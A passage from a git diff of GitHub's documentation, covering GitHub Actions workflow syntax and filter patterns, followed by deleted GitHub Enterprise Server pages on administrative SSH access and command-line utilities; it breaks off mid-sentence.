`array` of volumes for the service container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host. - -To specify a volume, you specify the source and destination path: - -`<source>:<destinationPath>`. - -The `<source>` is a volume name or an absolute path on the host machine, and `<destinationPath>` is an absolute path in the container. - -### Example of `jobs.<job_id>.services.<service_id>.volumes` - -```yaml -volumes: - - my_docker_volume:/volume_mount - - /data/my_data - - /source/directory:/destination/directory -``` - -## `jobs.<job_id>.services.<service_id>.options` - -Additional Docker container resource options. For a list of options, see [`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options). - -> [!WARNING] -> The `--network` option is not supported. - -## `jobs.<job_id>.uses` - -The location and version of a reusable workflow file to run as a job. Use one of the following syntaxes: - -{% data reusables.actions.reusable-workflow-calling-syntax %} - -### Example of `jobs.<job_id>.uses` - -{% data reusables.actions.uses-keyword-example %} - -For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -## `jobs.<job_id>.with` - -When a job is used to call a reusable workflow, you can use `with` to provide a map of inputs that are passed to the called workflow. - -Any inputs that you pass must match the input specifications defined in the called workflow. - -Unlike [`jobs.<job_id>.steps[*].with`](#jobsjob_idstepswith), the inputs you pass with `jobs.<job_id>.with` are not available as environment variables in the called workflow. Instead, you can reference the inputs by using the `inputs` context. - -### Example of `jobs.<job_id>.with` - -```yaml -jobs: - call-workflow: - uses: octo-org/example-repo/.github/workflows/called-workflow.yml@main - with: - username: mona -``` - -## `jobs.<job_id>.with.<input_id>` - -A pair consisting of a string identifier for the input and the value of the input. The identifier must match the name of an input defined by [`on.workflow_call.inputs.<inputs_id>`](/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_id) in the called workflow. The data type of the value must match the type defined by [`on.workflow_call.inputs.<input_id>.type`](#onworkflow_callinputsinput_idtype) in the called workflow. - -Allowed expression contexts: `github`, and `needs`. - -## `jobs.<job_id>.secrets` - -When a job is used to call a reusable workflow, you can use `secrets` to provide a map of secrets that are passed to the called workflow. - -Any secrets that you pass must match the names defined in the called workflow. - -### Example of `jobs.<job_id>.secrets` - -{% raw %} - -```yaml -jobs: - call-workflow: - uses: octo-org/example-repo/.github/workflows/called-workflow.yml@main - secrets: - access-token: ${{ secrets.PERSONAL_ACCESS_TOKEN }} -``` - -{% endraw %} - -## `jobs.<job_id>.secrets.inherit` - -Use the `inherit` keyword to pass all the calling workflow's secrets to the called workflow. This includes all secrets the calling workflow has access to, namely organization, repository, and environment secrets. The `inherit` keyword can be used to pass secrets across repositories within the same organization, or across organizations within the same enterprise. - -### Example of `jobs.<job_id>.secrets.inherit` - -{% raw %} - -```yaml -on: - workflow_dispatch: - -jobs: - pass-secrets-to-workflow: - uses: ./.github/workflows/called-workflow.yml - secrets: inherit -``` - -```yaml -on: - workflow_call: - -jobs: - pass-secret-to-action: - runs-on: ubuntu-latest - steps: - - name: Use a repo or org secret from the calling workflow. - run: echo ${{ secrets.CALLING_WORKFLOW_SECRET }} -``` - -{% endraw %} - -## `jobs.<job_id>.secrets.<secret_id>` - -A pair consisting of a string identifier for the secret and the value of the secret. The identifier must match the name of a secret defined by [`on.workflow_call.secrets.<secret_id>`](#onworkflow_callsecretssecret_id) in the called workflow. - -Allowed expression contexts: `github`, `needs`, and `secrets`. - -## Filter pattern cheat sheet - -You can use special characters in path, branch, and tag filters. - -* `*`: Matches zero or more characters, but does not match the `/` character. For example, `Octo*` matches `Octocat`. -* `**`: Matches zero or more of any character. -* `?`: Matches zero or one of the preceding character. -* `+`: Matches one or more of the preceding character. -* `[]` Matches one alphanumeric character listed in the brackets or included in ranges. Ranges can only include `a-z`, `A-Z`, and `0-9`. For example, the range`[0-9a-z]` matches any digit or lowercase letter. For example, `[CB]at` matches `Cat` or `Bat` and `[1-2]00` matches `100` and `200`. -* `!`: At the start of a pattern makes it negate previous positive patterns. It has no special meaning if not the first character. - -The characters `*`, `[`, and `!` are special characters in YAML. If you start a pattern with `*`, `[`, or `!`, you must enclose the pattern in quotes. Also, if you use a [flow sequence](https://yaml.org/spec/1.2.2/#flow-sequences) with a pattern containing `[` and/or `]`, the pattern must be enclosed in quotes. - -```yaml -# Valid -paths: - - '**/README.md' - -# Invalid - creates a parse error that -# prevents your workflow from running. -paths: - - **/README.md - -# Valid -branches: [ main, 'release/v[0-9].[0-9]' ] - -# Invalid - creates a parse error -branches: [ main, release/v[0-9].[0-9] ] -``` - -For more information about branch, tag, and path filter syntax, see [`on.<push>.<branches|tags>`](#onpushbranchestagsbranches-ignoretags-ignore), [`on.<pull_request>.<branches|tags>`](#onpull_requestpull_request_targetbranchesbranches-ignore), and [`on.<push|pull_request>.paths`](#onpushpull_requestpull_request_targetpathspaths-ignore). - -### Patterns to match branches and tags - -| Pattern | Description | Example matches | -| ------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- | -| `feature/*` | The `*` wildcard matches any character, but does not match slash (`/`). | `feature/my-branch`<br/><br/>`feature/your-branch` | -| `feature/**` | The `**` wildcard matches any character including slash (`/`) in branch and tag names. | `feature/beta-a/my-branch`<br/><br/>`feature/your-branch`<br/><br/>`feature/mona/the/octocat` | -| `main`<br/><br/>`releases/mona-the-octocat` | Matches the exact name of a branch or tag name. | `main`<br/><br/>`releases/mona-the-octocat` | -| `'*'` | Matches all branch and tag names that don't contain a slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `main`<br/><br/>`releases` | -| `'**'` | Matches all branch and tag names. This is the default behavior when you don't use a `branches` or `tags` filter. | `all/the/branches`<br/><br/>`every/tag` | -| `'*feature'` | The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `mona-feature`<br/><br/>`feature`<br/><br/>`ver-10-feature` | -| `v2*` | Matches branch and tag names that start with `v2`. | `v2`<br/><br/>`v2.0`<br/><br/>`v2.9` | -| `v[12].[0-9]+.[0-9]+` | Matches all semantic versioning branches and tags with major version 1 or 2. | `v1.10.1`<br/><br/>`v2.0.0` | - -### Patterns to match file paths - -Path patterns must match the whole path, and start from the repository's root. - -| Pattern | Description of matches | Example matches | -| --------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------- | -| `'*'` | The `*` wildcard matches any character, but does not match slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `README.md`<br/><br/>`server.rb` | -| `'*.jsx?'` | The `?` character matches zero or one of the preceding character. | `page.js`<br/><br/>`page.jsx` | -| `'**'` | The `**` wildcard matches any character including slash (`/`). This is the default behavior when you don't use a `path` filter. | `all/the/files.md` | -| `'*.js'` | The `*` wildcard matches any character, but does not match slash (`/`). Matches all `.js` files at the root of the repository. | `app.js`<br/><br/>`index.js` | -| `'**.js'` | Matches all `.js` files in the repository. | `index.js`<br/><br/>`js/index.js`<br/><br/>`src/js/app.js` | -| `docs/*` | All files within the root of the `docs` directory only, at the root of the repository. | `docs/README.md`<br/><br/>`docs/file.txt` | -| `docs/**` | Any files in the `docs` directory and its subdirectories at the root of the repository. | `docs/README.md`<br/><br/>`docs/mona/octocat.txt` | -| `docs/**/*.md` | A file with a `.md` suffix anywhere in the `docs` directory. | `docs/README.md`<br/><br/>`docs/mona/hello-world.md`<br/><br/>`docs/a/markdown/file.md` | -| `'**/docs/**'` | Any files in a `docs` directory anywhere in the repository. | `docs/hello.md`<br/><br/>`dir/docs/my-file.txt`<br/><br/>`space/docs/plan/space.doc` | -| `'**/README.md'` | A README.md file anywhere in the repository. | `README.md`<br/><br/>`js/README.md` | -| `'**/*src/**'` | Any file in a folder with a `src` suffix anywhere in the repository. | `a/src/app.js`<br/><br/>`my-src/code/js/app.js` | -| `'**/*-post.md'` | A file with the suffix `-post.md` anywhere in the repository. | `my-post.md`<br/><br/>`path/their-post.md` | -| `'**/migrate-*.sql'` | A file with the prefix `migrate-` and suffix `.sql` anywhere in the repository. | `migrate-10909.sql`<br/><br/>`db/migrate-v1.0.sql`<br/><br/>`db/sept/migrate-v1.sql` | -| `'*.md'`<br/><br/>`'!README.md'` | Using an exclamation mark (`!`) in front of a pattern negates it. When a file matches a pattern and also matches a negative pattern defined later in the file, the file will not be included. | `hello.md`<br/><br/>_Does not match_<br/><br/>`README.md`<br/><br/>`docs/hello.md` | -| `'*.md'`<br/><br/>`'!README.md'`<br/><br/>`README*` | Patterns are checked sequentially. A pattern that negates a previous pattern will re-include file paths. | `hello.md`<br/><br/>`README.md`<br/><br/>`README.doc` | diff --git a/content/admin/administering-your-instance/administering-your-instance-from-the-command-line/accessing-the-administrative-shell-ssh.md b/content/admin/administering-your-instance/administering-your-instance-from-the-command-line/accessing-the-administrative-shell-ssh.md deleted file mode 100644 index 59efbdced6a7..000000000000 --- a/content/admin/administering-your-instance/administering-your-instance-from-the-command-line/accessing-the-administrative-shell-ssh.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Accessing the administrative shell (SSH) -redirect_from: - - /enterprise/admin/articles/ssh-access - - /enterprise/admin/articles/adding-an-ssh-key-for-shell-access - - /enterprise/admin/guides/installation/administrative-shell-ssh-access - - /enterprise/admin/articles/troubleshooting-ssh-permission-denied-publickey - - /enterprise/admin/2.13/articles/troubleshooting-ssh-permission-denied-publickey - - /enterprise/admin/2.14/articles/troubleshooting-ssh-permission-denied-publickey - - /enterprise/admin/2.15/articles/troubleshooting-ssh-permission-denied-publickey - - /enterprise/admin/installation/accessing-the-administrative-shell-ssh - - /enterprise/admin/configuration/accessing-the-administrative-shell-ssh - - /admin/configuration/accessing-the-administrative-shell-ssh - - /admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh - - /admin/administering-your-instance/accessing-the-administrative-shell-ssh -intro: '{% data reusables.enterprise_site_admin_settings.about-ssh-access %}' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - SSH -shortTitle: Access the admin shell (SSH) ---- -## About administrative shell access - -If you have SSH access to the administrative shell, you can run {% data variables.product.prodname_ghe_server %}'s command line utilities. SSH access is also useful for troubleshooting, running backups, and configuring replication. Administrative SSH access is managed separately from Git SSH access and is accessible only via port 122. - -## Enabling access to the administrative shell via SSH - -To enable administrative SSH access, you must add your SSH public key to your instance's list of authorized keys. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent). - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. Under "SSH access", paste your key into the "Add new SSH key" text box, then click **Add key**. The change takes effect immediately, so you do not need to click **Save settings**. - -## Connecting to the administrative shell over SSH - -After you've added your SSH key to the list, connect to the instance over SSH as the `admin` user on port 122. - -```shell -$ ssh -p 122 admin@github.example.com -Last login: Sun Nov 9 07:53:29 2014 from 169.254.1.1 -admin@github-example-com:~$ █ -``` - -### Troubleshooting SSH connection problems - -If you encounter the `Permission denied (publickey)` error when you try to connect to {% data variables.location.product_location %} via SSH, confirm that you are connecting over port 122. You may need to explicitly specify which private SSH key to use. - -To specify a private SSH key using the command line, run `ssh` with the `-i` argument. - -```shell -ssh -i /path/to/ghe_private_key -p 122 admin@HOSTNAME -``` - -You can also specify a private SSH key using the SSH configuration file (`~/.ssh/config`). - -```shell -Host HOSTNAME - IdentityFile /path/to/ghe_private_key - User admin - Port 122 -``` - -## Accessing the administrative shell using the local console - -In an emergency situation, for example if SSH is unavailable, you can access the administrative shell locally if your hypervisor provides console access. Press `Alt` + `F2` to switch to an interactive prompt, then sign in as the `admin` user and use the password established during initial setup of {% data variables.product.prodname_ghe_server %}. - -## Access limitations for the administrative shell - -Administrative shell access is permitted for troubleshooting and performing documented operations procedures only. Modifying system and application files, running programs, or installing unsupported software packages may void your support contract. Please visit {% data variables.contact.contact_ent_support %} if you have a question about the activities allowed by your support contract. diff --git a/content/admin/administering-your-instance/administering-your-instance-from-the-command-line/administering-your-instance-using-the-github-cli.md b/content/admin/administering-your-instance/administering-your-instance-from-the-command-line/administering-your-instance-using-the-github-cli.md deleted file mode 100644 index 521acedf88ba..000000000000 --- a/content/admin/administering-your-instance/administering-your-instance-from-the-command-line/administering-your-instance-using-the-github-cli.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Administering your instance using the GitHub CLI -intro: 'You can administer your {% data variables.product.prodname_ghe_server %} instance using the {% data variables.product.prodname_cli %} extension for GHES Manage API.' -versions: - feature: ghes-manage-api-cli-extension -type: how_to -topics: - - Enterprise - - Fundamentals -shortTitle: Using the GitHub CLI ---- -## About the `gh es` extension for {% data variables.product.prodname_cli %} - -{% data reusables.cli.about-cli %} For more information about the {% data variables.product.prodname_cli %}, see [AUTOTITLE](/github-cli/github-cli/about-github-cli). - -`gh es` is a {% data variables.product.prodname_cli %} extension that allows you to perform administrative tasks on {% data variables.location.product_location %} by using the instance's REST API endpoints. For more information about GitHub CLI extensions, see [AUTOTITLE](/github-cli/github-cli/using-github-cli-extensions). - -You can use the `gh es` extension to manage the root site administrator password, configure maintenance mode, view metadata and status information for your instance's nodes, and more. For installation and usage instructions, see the [github/gh-es repository](https://github.com/github/gh-es) on {% data variables.product.prodname_dotcom_the_website %}. - -## Further reading - -* [AUTOTITLE](/rest/enterprise-admin/manage-ghes) diff --git a/content/admin/administering-your-instance/administering-your-instance-from-the-command-line/command-line-utilities.md b/content/admin/administering-your-instance/administering-your-instance-from-the-command-line/command-line-utilities.md deleted file mode 100644 index dc3ba8775b4a..000000000000 --- a/content/admin/administering-your-instance/administering-your-instance-from-the-command-line/command-line-utilities.md +++ /dev/null @@ -1,1439 +0,0 @@ ---- -title: Command-line utilities -intro: '{% data variables.product.prodname_ghe_server %} includes a variety of utilities to help resolve particular problems or perform specific tasks.' -redirect_from: - - /enterprise/admin/articles/viewing-all-services - - /enterprise/admin/articles/command-line-utilities - - /enterprise/admin/installation/command-line-utilities - - /enterprise/admin/configuration/command-line-utilities - - /admin/configuration/command-line-utilities - - /admin/configuration/configuring-your-enterprise/command-line-utilities - - /admin/administering-your-instance/command-line-utilities -versions: - ghes: '*' -type: reference -topics: - - Enterprise - - SSH ---- -You can execute these commands from anywhere on the VM after signing in as an SSH admin user. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). - -## General - -### ghe-announce - -This utility sets a banner at the top of every {% data variables.product.prodname_enterprise %} page. You can use it to broadcast a message to your users. - -```shell -# Sets a message that's visible to everyone -$ ghe-announce -s MESSAGE -> Announcement message set. -# Removes a previously set message -$ ghe-announce -u -> Removed the announcement message -``` - -To allow each user to dismiss the announcement for themselves, use the `-d` flag. - -```shell -# Sets a user-dismissible message that's visible to everyone -$ ghe-announce -d -s MESSAGE -> Announcement message set. -# Removes a previously set message -$ ghe-announce -u -> Removed the announcement message, which was user -> dismissible: MESSAGE -``` - -You can also set an announcement banner using the enterprise settings on {% data variables.product.prodname_ghe_server %}. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner). - -<!--For earlier releases of GHES, see the previous service `ghe-resque-info`--> - -### ghe-aqueduct - -This utility displays information on background jobs, both active and in the queue. It provides the same job count numbers as the admin stats bar at the top of every page. - -This utility can help identify whether the Aqueduct server is having problems processing background jobs. Any of the following scenarios might be indicative of a problem with Aqueduct: - -* The number of background jobs is increasing, while the active jobs remain the same. -* The event feeds are not updating. -* Webhooks are not being triggered. -* The web interface is not updating after a Git push. - -If you suspect Aqueduct is failing, visit {% data variables.contact.contact_ent_support %} for help. - -With this command, you can also pause or resume jobs in the queue. - -```shell -$ ghe-aqueduct status -# lists queues and the number of currently queued jobs -# for all queues -$ ghe-aqueduct queue_depth --queue QUEUE -# lists the number of currently queued jobs for the -# specified queue -$ ghe-aqueduct pause --queue QUEUE -# pauses the specified queue -$ ghe-aqueduct resume --queue QUEUE -# resumes the specified queue -``` - -### ghe-check-disk-usage - -This utility checks the disk for large files or files that have been deleted but still have open file handles. This should be run when you're trying to free up space on the root partition. - -```shell -ghe-check-disk-usage -``` - -### ghe-cleanup-caches - -This utility cleans up a variety of caches that might potentially take up extra disk space on the root volume. If you find your root volume disk space usage increasing notably over time it would be a good idea to run this utility to see if it helps reduce overall usage. - -```shell -ghe-cleanup-caches -``` - -### ghe-cleanup-settings - -This utility wipes all existing {% data variables.enterprise.management_console %} settings. - -> [!TIP] -> {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} - -```shell -ghe-cleanup-settings -``` - -### ghe-config - -With this utility, you can both retrieve and modify the configuration settings of {% data variables.location.product_location %}. - -```shell -$ ghe-config core.github-hostname -# Gets the configuration value of `core.github-hostname` -$ ghe-config core.github-hostname URL -# Sets the configuration value of `core.github-hostname` -# to the specified URL -$ ghe-config -l -# Lists all the configuration values -``` - -Allows you to find the universally unique identifier (UUID) of your node in `cluster.conf`. - -```shell - ghe-config HOSTNAME.uuid -``` - -Allows you to exempt a list of users from REST API rate limits. A hard limit of 120,000 requests will still apply to these users. Usernames you provide for this command are case-sensitive. For more information, see [AUTOTITLE](/rest/overview/rate-limits-for-the-rest-api). - -``` shell -$ ghe-config app.github.rate-limiting-exempt-users "hubot github-actions[bot]" -# Exempts the users hubot and github-actions[bot] from rate limits. -# Usernames are case-sensitive. -``` - -### ghe-config-apply - -This utility applies {% data variables.enterprise.management_console %} settings, reloads system services, prepares a storage device, reloads application services, and runs any pending database migrations. It is equivalent to clicking **Save settings** in the {% data variables.enterprise.management_console %}'s web UI or to sending a POST request to {% ifversion management-console-manage-ghes-parity %}[the `/manage/v1/config/apply` endpoint](/rest/enterprise-admin/manage-ghes#trigger-a-ghe-config-apply-run){% else %}[the `/setup/api/configure` endpoint](/rest/enterprise-admin/management-console){% endif %}. {% ifversion ghes > 3.15 %} Starting in version 3.16, this utility applies configuration changes conditionally to relevant settings. You can force it to run unconditionally by using `-f` flag. {% endif %} - -```shell -ghe-config-apply -``` - -### ghe-console - -This utility opens the GitHub Rails console on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %} - -```shell -ghe-console -``` - -### ghe-dbconsole - -This utility opens a MySQL database session on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %} - -```shell -ghe-dbconsole -``` - -### ghe-es-index-status - -This utility returns a summary of Elasticsearch indexes in CSV format. - -Print an index summary with a header row to `STDOUT`: - -```shell -$ ghe-es-index-status -do -> warning: parser/current is loading parser/ruby23, which recognizes -> warning: 2.3.3-compliant syntax, but you are running 2.3.4. -> warning: please see https://github.com/whitequark/parser#compatibility-with-ruby-mri. -> Name,Primary,Searchable,Writable,UpToDate,RepairProgress,Version -> code-search-1,true,true,true,true,100.0,72e27df7c631b45e026b42bfef059328fa040e17 -> commits-5,true,true,true,true,100.0,7ed28813100c47813ef654c0ee2bb9abf21ab744 -> gists-4,true,true,true,true,100.0,cf8e7d04fcf2564c902e2873c424a279cc41079d -> issues-4,false,false,false,true,100.0,d0bb08f71eebf6e7b070572aa399b185dbdc8a76 -> issues-5,true,true,true,true,100.0,d0bb08f71eebf6e7b070572aa399b185dbdc8a76 -> projects-2,true,true,true,true,100.0,c5cac1c4b3c66d42e609d088d174dbc3dd44469a -> pull-requests-6,true,true,true,true,100.0,6a466ad6b896a3499509990979bf9a18d7d41de3 -> repos-6,true,true,true,true,100.0,6c8b5fbba0fc1e409558db411d05e092c1387082 -> users-5,true,true,true,true,100.0,38984875552bb826c9ec42999f409cb2e95556eb -> wikis-4,true,true,true,true,100.0,2613dec44bd14e14577803ac1f9e4b7e07a7c234 -``` - -Print an index summary and pipe results to `column` for readability: - -```shell -$ ghe-es-index-status -do | column -ts, -> warning: parser/current is loading parser/ruby23, which recognizes -> warning: 2.3.3-compliant syntax, but you are running 2.3.4. -> warning: please see https://github.com/whitequark/parser#compatibility-with-ruby-mri. -> Name Primary Searchable Writable UpToDate RepairProgress Version -> code-search-1 true true true true 100.0 72e27df7c631b45e026b42bfef059328fa040e17 -> commits-5 true true true true 100.0 7ed28813100c47813ef654c0ee2bb9abf21ab744 -> gists-4 true true true true 100.0 cf8e7d04fcf2564c902e2873c424a279cc41079d -> issues-4 false false false true 100.0 d0bb08f71eebf6e7b070572aa399b185dbdc8a76 -> issues-5 true true true true 100.0 d0bb08f71eebf6e7b070572aa399b185dbdc8a76 -> projects-2 true true true true 100.0 c5cac1c4b3c66d42e609d088d174dbc3dd44469a -> pull-requests-6 true true true true 100.0 6a466ad6b896a3499509990979bf9a18d7d41de3 -> repos-6 true true true true 100.0 6c8b5fbba0fc1e409558db411d05e092c1387082 -> users-5 true true true true 100.0 38984875552bb826c9ec42999f409cb2e95556eb -> wikis-4 true true true true 100.0 2613dec44bd14e14577803ac1f9e4b7e07a7c234 -``` - -### ghe-legacy-github-services-report - -This utility lists repositories on your appliance that use {% data variables.product.prodname_dotcom %} Services, an integration that was discontinued on October 1, 2018. Users on your appliance may have set up {% data variables.product.prodname_dotcom %} Services to create notifications for pushes to certain repositories. For more information, see [Announcing the deprecation of {% data variables.product.prodname_dotcom %} Services](https://developer.github.com/changes/2018-04-25-github-services-deprecation/) on {% data variables.product.prodname_blog %}. For more information about this command or for additional options, use the `-h` flag. - -```shell -ghe-legacy-github-services-report -``` - -### ghe-logs-tail - -This utility lets you tail log all relevant log files from your installation. You can pass options in to limit the logs to specific sets. Use the -h flag for additional options. - -```shell -ghe-logs-tail -``` - -### ghe-maintenance - -This utility allows you to control the state of the installation's maintenance mode. It's designed to be used primarily by the {% data variables.enterprise.management_console %} behind-the-scenes, but it can be used directly. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). - -```shell -ghe-maintenance -h -``` - -### ghe-motd - -This utility re-displays the message of the day (MOTD) that administrators see when accessing the instance via the administrative shell. The output contains an overview of the instance's state. - -```shell -ghe-motd -``` - -### ghe-nwo - -This utility returns a repository's name and owner based on the repository ID. - -```shell -ghe-nwo REPOSITORY_ID -``` - -### ghe-org-admin-promote - -Use this command to give organization owner privileges to users with site admin privileges on the appliance, or to give organization owner privileges to any single user in a single organization. You must specify a user and/or an organization. The `ghe-org-admin-promote` command will always ask for confirmation before running unless you use the `-y` flag to bypass the confirmation. - -You can use these options with the utility: - -* The `-u` flag specifies a username. Use this flag to give organization owner privileges to a specific user. Omit the `-u` flag to promote all site admins to the specified organization. -* The `-o` flag specifies an organization. Use this flag to give owner privileges in a specific organization. Omit the `-o` flag to give owner permissions in all organizations to the specified site admin. -* The `-a` flag gives owner privileges in all organizations to all site admins. -* The `-y` flag bypasses the manual confirmation. - -This utility cannot promote a non-site admin to be an owner of all organizations. You can promote an ordinary user account to a site admin with [ghe-user-promote](#ghe-user-promote). - -Give organization owner privileges in a specific organization to a specific site admin - -```shell -ghe-org-admin-promote -u USERNAME -o ORGANIZATION -``` - -Give organization owner privileges in all organizations to a specific site admin - -```shell -ghe-org-admin-promote -u USERNAME -``` - -Give organization owner privileges in a specific organization to all site admins - -```shell -ghe-org-admin-promote -o ORGANIZATION -``` - -Give organization owner privileges in all organizations to all site admins - -```shell -ghe-org-admin-promote -a -``` - -### ghe-reactivate-admin-login - -Use this command to immediately unlock the {% data variables.enterprise.management_console %} after an account lockout. To configure authentication policies for {% data variables.location.product_location %}, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-authentication-policy-rate-limits). - -```shell -ghe-reactivate-admin-login -``` - -### ghe-saml-mapping-csv - -This utility allows administrators to output or update the SAML `NameID` mappings for users on an instance. The utility can output a CSV file that lists all existing mappings. You can also update mappings for users on your instance by editing the resulting file, then using the utility to assign new mappings from the file. - -To output a CSV file containing a list of all user SAML `NameID` mappings on the instance, run the following command. - -```shell -ghe-saml-mapping-csv -d -``` - -By default, the utility writes the file to `/data/user/tmp`. - -If you plan to update mappings, to ensure that the utility can access the file, we recommend that you keep the file in the default location. - -To prepare to update mappings, edit the file and make the desired changes. To see the result of updating the mappings using the new values in your edited CSV file, perform a dry run. Run the following command, replacing /PATH/TO/FILE with the actual path to the file you edited. - -```shell -ghe-saml-mapping-csv -u -n -f /PATH/TO/FILE -``` - -To update SAML mappings on the instance with new values from the file, run the following command, replacing /PATH/TO/FILE with the actual path to the file you edited. - -```shell -ghe-saml-mapping-csv -u -f /PATH/TO/FILE -``` - -### ghe-service-list - -This utility lists all of the services that have been started or stopped (are running or waiting) on your appliance. - -```shell -$ ghe-service-list -active - - alambic - - alive - - aqueduct-lite - - authzd - - babeld - - codeload - - consul, process 17114 - - consul-template, process 19493 - - driftwood - - elasticsearch - - enterprise-manage-unicorn, process 9359 - - ghe-user-disk, process 2545 - - git-daemon - - github-env - - github-gitauth - - github-resqued - - github-stream-processors - - github-timerd - - github-unicorn - - gitrpcd - - governor - - gpgverify - - grafana-server, process 19314 - - graphite-web, process 20189 - - hookshot-go - - kafka-lite - - kredz - - lfs-server - - mail-replies - - memcached - - minio - - mysql - - nginx - - nomad, process 19562 - - pages - - postfix - - redis - - spokesd - - spokes-sweeper - - svnbridge - - token-scanning-api - - token-scanning-backfill-worker - - token-scanning-hydro-consumer - - token-scanning-incremental-worker - - token-scanning-udp-backfill-worker - - treelights - - turboscan - - viewscreen - -inactive - - wireguard -``` - -### ghe-set-password - -This utility allows you to set a new root site administrator password for authentication to the {% data variables.enterprise.management_console %}. For more information, see [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-web-ui/managing-access-to-the-management-console). - -```shell -ghe-set-password -``` - -### ghe-setup-network - -This utility allows you to configure the primary network interface. - -To enter visual mode, which will guide you through configuration of network settings: - -```shell -ghe-setup-network -v -``` - -Use the -h flag for additional options. - -### ghe-ssh-check-host-keys - -This utility checks the existing SSH host keys against the list of known leaked SSH host keys. - -```shell -ghe-ssh-check-host-keys -``` - -If a leaked host key is found the utility exits with status `1` and a message: - -```shell -> One or more of your SSH host keys were found in the blacklist. -> Please reset your host keys using ghe-ssh-roll-host-keys. -``` - -If a leaked host key was not found, the utility exits with status `0` and a message: - -```shell -> The SSH host keys were not found in the SSH host key blacklist. -> No additional steps are needed/recommended at this time. -``` - -### ghe-ssh-roll-host-keys - -This utility rolls the SSH host keys and replaces them with newly generated keys. - -```shell -$ sudo ghe-ssh-roll-host-keys -Proceed with rolling SSH host keys? This will delete the -existing keys in /etc/ssh/ssh_host_* and generate new ones. [y/N] - -# Press 'Y' to confirm deleting, or use the -y switch to bypass this prompt - -> SSH host keys have successfully been rolled. -``` - -### ghe-ssh-weak-fingerprints - -This utility returns a report of known weak SSH keys stored on the {% data variables.product.prodname_enterprise %} appliance. You can optionally revoke user keys as a bulk action. The utility will report weak system keys, which you must manually revoke in the [{% data variables.enterprise.management_console %}](/admin/configuration/administering-your-instance-from-the-management-console). - -```shell -# Print a report of weak user and system SSH keys -$ ghe-ssh-weak-fingerprints - -# Revoke all weak user keys -$ ghe-ssh-weak-fingerprints --revoke -``` - -### ghe-ssl-acme - -This utility allows you to install a Let's Encrypt certificate on your {% data variables.product.prodname_enterprise %} appliance. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-tls). - -You can use the `-x` flag to remove the ACME configuration. - -```shell -ghe-ssl-acme -e -``` - -### ghe-ssl-ca-certificate-install - -This utility allows you to install a custom root CA certificate on your {% data variables.product.prodname_enterprise %} server. The certificate must be in PEM format. Furthermore, if your certificate provider includes multiple CA certificates in a single file, you must separate them into individual files that you then pass to `ghe-ssl-ca-certificate-install` one at a time. - -Run this utility to add a certificate chain for S/MIME commit signature verification. For more information, see [AUTOTITLE](/authentication/managing-commit-signature-verification/about-commit-signature-verification). - -Run this utility when {% data variables.location.product_location %} is unable to connect to another server because the latter is using a self-signed SSL certificate or an SSL certificate for which it doesn't provide the necessary CA bundle. One way to confirm this is to run `openssl s_client -connect host:port -verify 0 -CApath /etc/ssl/certs` from {% data variables.location.product_location %}. If the remote server's SSL certificate can be verified, your `SSL-Session` should have a return code of 0, as shown below. - -```text -SSL-Session: - Protocol : TLSv1 - Cipher : AES128-SHA - Session-ID: C794EBCC3CBC10F747C9AFC029C03C1048FC99CFC34D13D7444E0F267C58DF4C - Session-ID-ctx: - Master-Key: 02A7C47CFD6EEC87D3C710E9DD87390E04EF82DDD7514AE03127D5DC1945FC0CAEFB5395791AEA598667EFA61B9EA8C5 - Key-Arg : None - Start Time: 1394581597 - Timeout : 300 (sec) - Verify return code: 0 (ok) -``` - -If, on the other hand, the remote server's SSL certificate can _not_ be verified, your `SSL-Session` should have a nonzero return code: - -```text -SSL-Session: - Protocol : TLSv1 - Cipher : AES128-SHA - Session-ID: 82CB288051A6DB66094C50A69CF1292AEE7E54C6B01B659B98AB336F8C33863E - Session-ID-ctx: - Master-Key: 01B025B2F764043A27919A8D1355AAECD8844FF0831B1D664042334790574A6F4025BAB085D4ED71D71AAB3091B849E5 - Key-Arg : None - Start Time: 1394581782 - Timeout : 300 (sec) - Verify return code: 27 (certificate not trusted) -``` - -You can use these additional options with the utility: -* The `-r` flag allows you to uninstall a CA certificate. -* The `-h` flag displays more usage information. - -```shell -ghe-ssl-ca-certificate-install -c CERTIFICATE_PATH -``` - -To apply the configuration, run the following command. During a configuration run, services on {% data variables.location.product_location %} may restart, which can cause brief downtime for users. - -```shell copy -ghe-config-apply -``` - -### ghe-ssl-certificate-setup - -This utility allows you to update an SSL certificate for {% data variables.location.product_location %}. - -For more information about this command or for additional options, use the `-h` flag. - -```shell -/usr/local/share/enterprise/ghe-ssl-certificate-setup -``` - -### ghe-ssl-generate-csr - -This utility allows you to generate a private key and certificate signing request (CSR), which you can share with a commercial or private certificate authority to get a valid certificate to use with your instance. For more 